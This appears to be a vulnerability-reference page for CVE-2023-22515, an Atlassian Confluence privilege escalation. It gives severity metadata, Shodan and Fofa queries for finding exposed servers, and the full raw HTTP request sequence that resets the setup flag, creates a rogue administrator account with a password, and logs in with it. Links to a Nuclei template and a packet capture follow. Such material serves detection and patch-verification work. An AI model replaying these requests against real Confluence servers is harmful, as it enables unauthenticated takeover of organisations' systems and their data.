| Title | Atlassian Confluence - Privilege Escalation |
|---|---|
| Author | s1r1us,iamnoooob,rootxharsh,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit broken access control to create unauthorized Confluence administrator accounts and gain complete administrative access to Atlassian Confluence installations. |
| Remediation | Update to the latest version of Confluence |
| CVSS Score | 9.8 |
| EPSS Score | 0.94326 |
| CVE ID | CVE-2023-22515 |
| Shodan Query | http.component:"atlassian confluence" |
| Fofa Query | app="ATLASSIAN-Confluence"app="atlassian-confluence" |
| Tags | cve2023 cve confluence auth-bypass kev intrusive atlassian vkev vuln |
Atlassian Confluence Data Center and Server contains a broken access control vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
GET /setup/setupadministrator-start.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache38EtqG0RRxRL0hNW7rnnuz4ufEu HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Connection: close
Accept-Encoding: gzip
GET /setup/setupadministrator-start.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept-Encoding: gzip
POST /setup/setupadministrator.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Connection: close
Content-Length: 115
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip
username=bnfjqg&fullName=admin&email=qnbXlS@jUyWI.com.com&password=69xv6cgx&confirm=69xv6cgx&setup-next-button=Next
POST /dologin.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip
os_username=bnfjqg&os_password=69xv6cgx&login=Log+in&os_destination=%2Findex.action
GET /welcome.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22515.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22515.pcap
N/AN/A